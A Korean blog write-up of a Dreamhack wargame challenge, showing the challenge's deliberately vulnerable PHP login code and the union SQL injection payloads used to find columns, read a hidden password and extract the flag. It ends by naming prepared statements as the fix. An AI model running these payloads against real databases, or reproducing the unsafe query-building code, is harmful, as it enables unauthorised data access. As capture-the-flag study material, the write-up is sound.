https://dreamhack.io/wargame/challenges/340
Union SQL Injection 문제다.
여기에 문제 풀이에 필요한 이론 공부를 한 것을 정리해봤다.
<?php
error_reporting(0);
include("./config.php"); // hidden column name, $FLAG.
mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
mysql_select_db("adm1nkyj");
/**********************************************************************************************************************/
function rand_string()
{
$string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
return str_shuffle($string);
}
function reset_flag($count_column, $flag_column)
{
$flag = rand_string();
$query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
if($query[$count_column] == 150)
{
if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
{
mysql_query("UPDATE findflag_2 SET $count_column=0;");
echo "reset flag<hr>";
}
return $flag;
}
else
{
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
}
return $query[$flag_column];
}
function get_pw($pw_column){
$query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
return $query[$pw_column];
}
/**********************************************************************************************************************/
$tmp_flag = "";
$tmp_pw = "";
$id = $_GET['id'];
$pw = $_GET['pw'];
$flags = $_GET['flag'];
if(isset($id))
{
if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack");
if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack");
$tmp_flag = reset_flag($count_column, $flag_column);
$tmp_pw = get_pw($pw_column);
$query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
if($query[$id_column])
{
if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
{
echo "good job!!<br />FLAG : <b>".$FLAG."</b><hr>";
}
else
{
echo "Hello ".$query[$id_column]."<hr>";
}
}
} else {
highlight_file(__FILE__);
}
?>
전체 코드다. 천천히 뜯어보자면
변수를 선언하고 있다. 사용자로부터 `id`, `pw`, `flag`를 입력받는다.
if문 안의 내용이다. information, schema, user를 필터링하고 있다. 괄호의 사용 횟수가 2회 이상인 경우도 필터링하고 있다.
`reset_flag()`라는 함수와 `get_pw()`라는 함수의 결과를 `$tmp_flag`와 `$tmp_pw`에 저장한다.
간단히 설명하자면, `$count_column`의 값이 150이면 flag의 값을 새로운 값으로 갱신하고, 150이 아니라면 `$count_column`의 값을 1씩 증가시킨다.
마지막엔 flag 값을 리턴하고 있다.
flag 값은 다음과 같은 로직에 의해 생성된다.
findflag_2 테이블에서 비밀번호를 하나 가져온다.
테이블에서 가져온 flag 값과 비밀번호 값을 요구하고 있다. 만약 값이 틀리다면 `$id_column`을 출력해주고 있다. 여기서 UNION SQL Injection을 떠올렸다.
익스플로잇
칼럼 수 파악
?id=' or 1 union select 1,2,3,4,5-- -
`' or 1 -- -`을 넣었을 때 나오는 결과값을 기억해 뒀다가 union문으로 칼럼 개수를 파악해줬다. 5개의 칼럼을 입력했을 때 참인 결과와 같기 때문에 칼럼의 개수는 5이다.
비밀번호 칼럼명 파악
?id=' union select 1, &pw=, 3, 4,5-- -
비밀번호 내용 파악
' union select null,xPw4coaa1sslfe,null,null,null from findflag_2 -- -
flag 내용 파악
' union select null,x,null,null,null from (select 1,2,3,4 as x,5 union select * from findflag_2) as a limit 1,1 -- -
각 칼럼을 한 번씩 확인해보며 flag로 판단되는 것을 찾았다.
flag 출력
짜잔
pw의 내용은 url 인코딩 후 넣어줘야 된다.
union sql injection에 대한 감을 기르고 새로운 방법에 대해 알 수 있었다.
취약점 해결 방법
sql injection이기 때문에 prepared statement를 적용해주면 된다.
'드림핵' 카테고리의 다른 글
[드림핵] CProxy: Forge 풀이 (0) | 2024.04.07 |
---|---|
[드림핵] chocoshop 풀이 (0) | 2024.04.02 |
[드림핵] what-is-my-ip 풀이 (0) | 2024.03.31 |
[드림핵] CProxy: Inject 풀이 (0) | 2024.03.28 |
[드림핵] node-serialize 풀이 (0) | 2024.03.10 |